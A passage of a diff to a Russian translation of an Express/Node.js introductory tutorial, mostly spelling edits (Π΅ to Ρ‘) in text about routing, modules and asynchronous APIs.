отобраТСния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, вставляя ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ HTML шаблона.</p>
+<p>Π’ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Ρ… динамичСских Π²Π΅Π±-сайтах, Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ HTTP-запроса ΠΎΡ‚ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°). Когда запрос ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ опрСдСляСт, ΠΊΠ°ΠΊΠΎΠ΅ дСйствиС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π° основС URL шаблона ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, связанной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, содСрТащСйся Π² Π΄Π°Π½Π½Ρ‹Ρ…Β <code>POST</code> ΠΈΠ»ΠΈΒ <code>GET</code>. Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ трСбуСтся, Express ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Ρ‚Π΅ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ·/Π² Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ, Π² соотвСтствии с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ запросом. Π—Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ динамичСски создавая HTML страницу для отобраТСния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, вставляя ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ HTML шаблона.</p>
<p>Express прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, какая функция вызываСтся для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎΒ HTTP запроса (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.), ΠΈ URL шаблон ("Route"), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ шаблона ("view") ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Π³Π΄Π΅ находятся ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°ΠΊΠΎΠΉ шаблон ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Π²Ρ‹Π²ΠΎΠ΄Π° ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Express middleware для добавлСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² cookies, сСансов, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, получСния <code>POST</code>/<code>GET</code> ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΈ Ρ‚.Π΄. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉΒ Node (Express Π½Π΅ опрСдСляСт ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, связанноС с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…).</p>
@@ -158,15 +158,15 @@ app.listen(3000, function() {
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ строки Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ () (ΠΈΠΌΠΏΠΎΡ€Ρ‚) модуля Express ΠΈ создания прилоТСния Express.</span> <span title="">Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ называСтся app, ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ HTTP-запросов, настройки ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° прСдставлСний HTML, рСгистрации ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° шаблонов ΠΈ измСнСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ прилоТСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅ΠΆΠΈΠΌ срСды, Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ Π»ΠΈ опрСдСлСния ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° ΠΊ рСгистру).</span> <span title="">, ΠΈ Ρ‚.Π΄.)</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">БрСдняя Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° (Ρ‚Ρ€ΠΈ строки, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅ΡΡ с app.get) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.</span> <span title="">ΠœΠ΅Ρ‚ΠΎΠ΄ app.get () ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π΅ΡΡ‚ΡŒ HTTP-запрос GET с ΠΏΡƒΡ‚Π΅ΠΌ ('/') ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ корня сайта.</span> <span title="">Колбэк-функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ запрос ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Π²Π΅Ρ‚Π° Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ просто Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ send () для ΠΎΡ‚Π²Π΅Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ строку Β«Hello World!Β»</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">БрСдняя Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° (Ρ‚Ρ€ΠΈ строки, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅ΡΡ с app.get) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.</span> <span title="">ΠœΠ΅Ρ‚ΠΎΠ΄ app.get () ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π΅ΡΡ‚ΡŒ HTTP-запрос GET с ΠΏΡƒΡ‚Ρ‘ΠΌ ('/') ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ корня сайта.</span> <span title="">Колбэк-функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ запрос ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Π²Π΅Ρ‚Π° Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ просто Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ send () для ΠΎΡ‚Π²Π΅Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ строку Β«Hello World!Β»</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ПослСдний Π±Π»ΠΎΠΊ запускаСт сСрвСр Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΡ€Ρ‚ Β«3000Β» ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ ΠΆΡƒΡ€Π½Π°Π»Π° Π² консоль.</span> <span title="">Когда сСрвСр Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ localhost: 3000 Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π²Π΅Ρ‚Π°.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ПослСдний Π±Π»ΠΎΠΊ запускаСт сСрвСр Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΡ€Ρ‚ Β«3000Β» ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ ΠΆΡƒΡ€Π½Π°Π»Π° Π² консоль.</span> <span title="">Когда сСрвСр Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ localhost: 3000 Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π²Π΅Ρ‚Π°.</span></span></p>
<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_ΠΈ_созданиС_ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ"><span class="tlid-translation translation" lang="ru"><span title="">Π˜ΠΌΠΏΠΎΡ€Ρ‚ ΠΈ созданиС ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ</span></span></h3>
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠΎΠ΄ΡƒΠ»ΡŒ - это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° / Ρ„Π°ΠΉΠ» JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ require () Node.</span> <span title="">Express сам ΠΏΠΎ сСбС являСтся ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π² Π½Π°ΡˆΠΈΡ… прилоТСниях Express.</span><br>
<br>
- <span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Express.</span> <span title="">Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ require (), опрСдСляя имя модуля Π² Π²ΠΈΠ΄Π΅ строки (Β«expressΒ») ΠΈ вызывая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для создания прилоТСния Express.</span> <span title="">Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойствам ΠΈ функциям ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° прилоТСния.</span></span></p>
+ <span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Express.</span> <span title="">Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ require (), опрСдСляя имя модуля Π² Π²ΠΈΠ΄Π΅ строки (Β«expressΒ») ΠΈ вызывая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для создания прилоТСния Express.</span> <span title="">Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойствам ΠΈ функциям ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° прилоТСния.</span></span></p>
<pre class="brush: js notranslate">var express = require('express');
var app = express();
@@ -175,7 +175,7 @@ var app = express();
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</span></span></p>
<div class="note">
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ²Π΅Ρ‚: Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свои собствСнныС ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это позволяСт Π²Π°ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ Π² управляСмыС части - ΠΌΠΎΠ½ΠΎΠ»ΠΈΡ‚Π½ΠΎΠ΅ ΠΎΠ΄Π½ΠΎΡ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ.</span> <span title="">ИспользованиС ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²Π°ΠΌ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ пространством ΠΈΠΌΠ΅Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΡ€ΠΈ использовании модуля ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ явно экспортировали.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ²Π΅Ρ‚: Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свои собствСнныС ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это позволяСт Π²Π°ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ Π² управляСмыС части - ΠΌΠΎΠ½ΠΎΠ»ΠΈΡ‚Π½ΠΎΠ΅ ΠΎΠ΄Π½ΠΎΡ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ.</span> <span title="">ИспользованиС ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π²Π°ΠΌ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ пространством ΠΈΠΌΡ‘Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΡ€ΠΈ использовании модуля ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ явно экспортировали.</span></span></p>
</div>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ доступными Π²Π½Π΅ модуля, Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ экспорта.</span> <span title="">НапримСр, ΠΌΠΎΠ΄ΡƒΠ»ΡŒ square.js Π½ΠΈΠΆΠ΅ прСдставляСт собой Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ экспортируСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ area () ΠΈ perimeter ():</span></span></p>
@@ -216,7 +216,7 @@ console.log('The area of a square with a width of 4 is ' + square.area(4));</pre
console.log('Second');
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ этого, асинхронный API - это Ρ‚ΠΎΡ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ API Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ ΠΈ сразу ΠΆΠ΅ вСрнСтся (Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ).</span> <span title="">ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ API Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для выполнСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</span> <span title="">НапримСр, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ Β«Second, FirstΒ», ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ хотя ΠΌΠ΅Ρ‚ΠΎΠ΄ setTimeout () вызываСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΠΈ возвращаСтся Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, опСрация Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сСкунд.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ этого, асинхронный API - это Ρ‚ΠΎΡ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ API Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ ΠΈ сразу ΠΆΠ΅ вСрнётся (Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ).</span> <span title="">ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ API Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для выполнСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</span> <span title="">НапримСр, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ Β«Second, FirstΒ», ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ хотя ΠΌΠ΅Ρ‚ΠΎΠ΄ setTimeout () вызываСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΠΈ возвращаСтся Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, опСрация Π½Π΅ 